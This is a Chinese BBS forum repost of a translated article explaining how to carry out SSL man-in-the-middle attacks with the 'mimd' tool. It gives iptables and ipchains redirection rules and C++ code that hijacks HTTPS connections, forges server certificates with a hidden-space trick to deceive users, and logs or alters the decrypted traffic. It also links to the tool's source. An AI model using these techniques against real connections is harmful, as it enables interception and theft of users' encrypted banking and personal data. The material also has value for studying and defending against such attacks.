荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: hellsolaris (qq), 信区: Security
标  题: SSL中间人攻击
发信站: 荔园晨风BBS站 (Sat Nov  1 12:48:05 2003), 站内信件

发信人: aba (惊醒于恶梦中--从头做起!), 信区: SysSafe
标  题: SSL中间人攻击
发信站: 紫金飞鸿 (2002年03月06日17:41:29 星期三), 站内信件

  简介
SSLv3的当前版本是3.1版,也被称为TLS。它提供了一种机制,在网络上进行安全的数据
传输。它据说能够满足所有的安全需要,比如:你的银行帐户管理。
但是在这里我将告诉你,这实际上是不可能的。
在本文中,我首先将对SSL做一些介绍,这是非常重要的。不过,这里我们不会介绍诸如
SSL是怎样实现连接的等深层问题,如果有兴趣,可以自己参考参考资料。
1.为什么使用SSL
SSL是为了实现网络数据传输中的如下目的设计的:
机密性
这是通过对数据进行加密实现的,在进行SSL握手时,SSL选择一种对称算法对数据进行
加密,然后才在网络上传输数据。SSL使用的加密算法有好多种,如果某种算法被新的网
络攻击方法识破,它只要选择另外的算法就可以了。
消息的完整性
SSL使用一种很健壮的信息验证码(Message Authentication Code),例如:SHA-1,验证
码被放在数据包的后部,并且和数据一块被加密。这样,如果数据被修改,其散列值就
无法和原来的验证码匹配,从而能够检测出数据是否被修改。MAC同时也被用于保护SSL
连接免受干扰。
保护数据免受重放攻击(replay-attack)
SSL使用序列号来保护通讯方免受报文重放攻击。这个序列号被加密后作为数据包的负载
。在整个SSL握手中中,都有一个唯一的随机数来标记这个SSL握手,这样重放便无机可
乘。
免受recorder攻击(reorder-attack)
上面所说的序列号也可以防止攻击者记录数据包并以不同的次序发送。
端点验证
使用X509(当前版本是3)证书,SSL支持客户和服务器的验证。关于服务器的连接,我们
稍后将深入介绍。
这听起来似乎很安全,但是看了本文介绍的程序,就就不这么想了。(不过,我们还不能
打破客户端的验证)
使用本文介绍的攻击方法,我们就可以看到SSL连接上所有明文数据,根据我们的需要修
改传输的数据,对数据进行中继发送,以错误的次序发送甚至丢弃我们不需要的报文。
这种攻击方法就是所谓的途中人攻击(man in the middle attack,或者中间人攻击)。

2.X509数字证书
X509数字证书是SSL的一个组成部分。在SSL握手过程中,服务器向客户发送自己的数字
证书。一个X509数字证书包括发行者的识别名(Distinguished Name)、主体(Subject)的
识别名、一个版本号和序列号、选择的算法、密钥的有效期时间窗,还有主体的公钥。

主体(subject)是这个证书包含实体的名,证书中的公钥属于主体(Subject)。在平常的
X509数字证书中,没有标志DNS名的域。通常,CN域被影射为DNS名,但是这只是一个客
户和数字证书的实体必须都认可的协议。
发行者(issuer)是使用自己的私钥签发这个数字证书。它叫做数字证书中心(Certifica
te Authority,CA)。
让我们看一个X509数字证书:
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Nov 19 01:57:27 2000 GMT
Not After : Apr 5 01:57:27 2028 GMT
Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2:
e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05:
e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd:
70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9:
0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25:
47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12:
a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7:
a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1:
83:88:8f:c4:6a:8c:bb:26:fd
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d:
e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee:
42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e:
a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca:
ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd:
8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7:
80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03:
82:f1
要点:
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
C、ST、L、O和Email构成发行者的识别名(distinguished name,DN)。
Subject:C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
证书可以由一个公开的CA签发,或者由自己签发(就是所谓的自签发证书)。在这个例子
中的证书就是由自己签发的。
这是没有被拦截的原始数字证书。后面我们将看一下如果有人拦截连接看起来会怎样。

当你的浏览器向https://segfault.net的连接时,这个证书会在SSL握手期间进行交换。
证书中保存的公钥就被用于会话的加密。
为了具有pretty good层的安全性,证书应该由一个CA(你自己或者一个公开的CA)签发,
客户有这个CA的公钥用于检查这个证书的合法性。如果客户没有这个CA的公钥,浏览器
就会提示用户接受还是拒绝这个证书。这对于交互式的客户程序是必须的,不过事实上
对于太多的站点发行的证书,客户并没有他们的公钥来检查证书的合法性。对于普通的
交互式客户程序(例如:Netscape浏览器),这种情况就可能造成使SSL连接失去意义。
3.拦截
综上所述,X509数字证书是SSL的重要环节。它的任务就是保证客户和服务器之间的会话
,并且它使用的密钥是正确的。
现在,想象一下我们伪装一个证书,并对一个SSL连接进行转发会怎么样。
这值得一试。我们的座右铭是“teile und herrsche(哪国英文?)”,这里我们必须
解决两个问题:
a.劫持连接然后进行转发。
b.伪造一个数字证书,让客户以为他是和真正的服务器通讯。
a+b就是通常所说的途中人(man in the middle,又可以叫做中间人)攻击。从理论上X5
09应该能够阻止这种攻击,但是平常的交互式客户程序(例如:Netscape浏览器)所采取
的证书检查方式使这种攻击方式有机可乘。
第一个问题很好解决,假设我们位于客户和服务器之间,我们只要在我们的防火墙上略
施小计(最好是在Linux或者BSD上:P)把连接重定向就可以了,另外我们把自己的程序称
为mimd。对于Linux-2.2.x(ipchains)版本的内核,使用如下规则就可以截获https包文
,把它们导入输入(input)链:
ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp
对于Linux-2.4.x内核(iptables),可以使用如下规则:
iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 -dport 443\
-j REDIRECT --to-port 10000
要给出SSL客户的源端口,如果我们忽略了这一点,mimid就会进入一个无限的循环(ipt
ables将会重定向已经重定向的流量)。mimd被绑定到8888端口,它不匹配这条规则。你
的物理位置不必位于SSL连接双方中间,位于服务器局域网内或者客户机局域网内就足够
了。使用ARP欺诈就可以很好地完成这个工作,甚至连防火墙规则都不必修改。
有了这些重定向规则,我们就可以着手建立的工具了。目标地址可以使用操作系统的AP
I找到(getsockopt())。这个工具中的NS_Socket::dstaddr()函数在绝大多数操作系统中
都可以成功编译。使用这个小程序,我们可以看到通过连接的数据。
为了使这个小程序能够看到连接的明文数据,我们需要使用SSL_accpet()和SSL_connec
t()调用。首先,我们需要调用(accept()接受客户程序的连接,接着使用SSL_connect(
)向真正的服务器发起连接请求。然后,执行真正的SSL_accept()。假设我们已经完成了
初始化内容,比如:加载密钥文件等。这时,在客户端,客户程序(例如:浏览器)就会
询问用户是否接受这个工具的证书。
但是,用户显然可以轻松认出这个证书是伪造的,因为他在浏览A公司的网站时,却收到
B公司或者途中人的证书,必然会引起他的怀疑。
下面我们将会解决这个问题。SSL_connect()和SSL_accept()的顺序应该正确,我将对其
进行解释。
4.DCA
如果用户接受伪造的证书,我们就可以使用SSL_read()读出连接的明文数据,并使用SS
L_write()把它们转发到真正的服务器。现在我们就着手解决如何伪造证书的问题。
记住:在SSL_connect()要先于SSL_accept()调用,这样服务器可以把我们看做合法的用
户,和我们进行正常的SSL握手,从而我们可以得到服务器的证书。
下面我们看一下实际的代码:
//阻塞,等待iptables劫持的连接
while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) {
// 获得连接真正的
// 目的地址
if (NS_Socket::dstaddr(afd, &dst) < 0) {
log(NS_Socket::why());
die(NULL);
}
...
++i;//一个全局变量记录被劫持连接的数量
if (fork() == 0) {//fork出一个进程,由子进程处理被劫持的连接,父进程继续等待
连接
// 成为真正目的服务器的客户
if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
log("main::socket");
die(NULL);
}
if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) {
log(NS_Socket::why());
die(NULL);
}//把套接字绑定到本地端口,可以同时处理多个连接
// 向真正的服务器发起连接
if (connect(sfd2, (struct sockaddr*)&dst,
sizeof(dst)) < 0) {
log("main::connect");
die(NULL);
}
...
client->start();
client->fileno(sfd2); // 使用sfd2和真正的服务器进行连接
// 进行SSL握手以建立SSL连接
if (client->connect() < 0) {
log("Clientside handshake failed. Aborting.");
die(NULL);
}
现在,我们和真正服务器之间的SSL握手已经完成。注意,在源代码中,SSL_connect()
和SSL_accept()两个函数都被封装到了client和server对象中。现在,我们可以准备自
己作为SSL服务器和SSL客户之间的连接了:
// 服务器端
server->start(); // 建立SSL对象
server->fileno(afd); // 使用afd套接字接受客户连接
我们进行真正的伪造,调用SSL_accept():
if (enable_dca)
NS_DCA::do_dca(client, server);
动态证书装配(Dynamic Certificate Assembly)函数do_dca()进行如下工作:
给一个几乎是空白的证书(除了C域之外,其它RDN全部为空),do_dca()使用和服务器进
行SSL握手获得的内容填充剩下的RDN域。我们抽取L、ST、O、CN、OU和EMAIL域,把它们
放到我们自己的证书,然后把这个证书显示给SSL客户。为了完成这个工作,do_dca()使
用了字符串解析(抽取RDN域),并调用OpenSSL提供的using X509_()函数。
在证书发行者的OU域(OrganizationalUnit,原来为空)我们填上一个空格,这个空格不
会在SSL客户程序的窗口中显示出来,但是可以把伪造的新证书和来自公共CA的证书区别
开。当这个伪造的证书到达SSL客户程序之后,客户程序就会提示用户是否接收这个证书
,用户看来这个证书来自一个已知的可信任的CA(实际上,OU域多了一个空格:P,但是用
户看不出来),而对于SSL客户程序来说,它知道这个证书不是来自用户看到的CA(差一个
空格呢:P),因此找不到这个CA的公钥,只好提示用户,让用户定夺是否接受这个证书。
这时,被愚弄的用户一般会接受这个证书。
现在我们可以修改发行者的subject域(CN...),把前面的X509证书变成自签发(self-si
gned)证书。用户无法知道自签发证书是伪造的。
然后,把被重新装配的证书显示给客户:
// do SSL handshake as fake-server
if (server->accept() < 0) {
log("Serverside handshake failed. Aborting.");
die(NULL);
}
ssl_forward(client, server);
ssl_forward()函数只是循环调用SSL_read/SSL_write函数,记录传输的明文数据。我们
也可以随心所欲地修改传递的数据。
下面在mimd激活之后(没有使用-I选项),我们使用cf取回来自https服务器的X509证书:

stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
ca:c2:07:9d:ba:32:ff:d6:e7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
X509v3 Authority Key Identifier:
keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
DirName:/C=US
serial:00
X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
eb:f2
比较这两个伪造的证书,你会发现后面这个的Issuer中包含CN域,这是为了加强伪造的
效果:P。
结论
综上所述,使用交互式客户程序在网络上冲浪的用户无法知道遭到了途中人攻击,因为
他们无法分辨公司使用未知的CA(company uses unknown CA)的提示信息是真的还是自己
遭到了途中人攻击。而且,即使他以前曾经浏览过这个站点并保存了它的数字证书,也
仍然可能掉入圈套(还记得OU域的空格吗?:P)。对于一些机警的用户,把伪造的证书变
成自签发证书将会打消他们的疑虑。
本文使用separate-ports的方式断开了SSL连接,但是在一种情况下(upward negotiati
on)无法使用mimd。SSL使用一个关键词把前面的明文数据流变成SSL数据流传输。这个问
题使用MSG_PEEK可能可以解决,他们(作者)正在研究呢:P
参考
[1] "SSL and TLS" Designing and Building Secure Systems
Eric Rescorla, AW 2001
A 'must-read' if you want/need to know how SSL works.
[2] "Angewandte Kryptographie"
Bruce Schneier, AW 1996
THE book for crypto-geeks. I read the german version,
in english its 'Applied Cryptographie'
[2] various openssl c-files and manpages
[3] http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz
A DCA implementation, described in this article;
also contains 'cf' tool.
[4] In case you cannot try mimd on your local box, view
a snapshot from a mim-ed session provided by TESO:
http://www.team-teso.net/ssl-security.png
--

    █◤☆◥◤☆◥█ 送星星千百颗...
    █☆☆☆☆☆☆█
    █◣☆☆☆☆◢█ 生命活的精彩灿烂...
    ██◣☆☆◢██
    ███◣◢███ 愿你快乐  ^_^

※ 来源:·紫金飞鸿 bbs.njupt.edu.cn·

--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.44.223]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店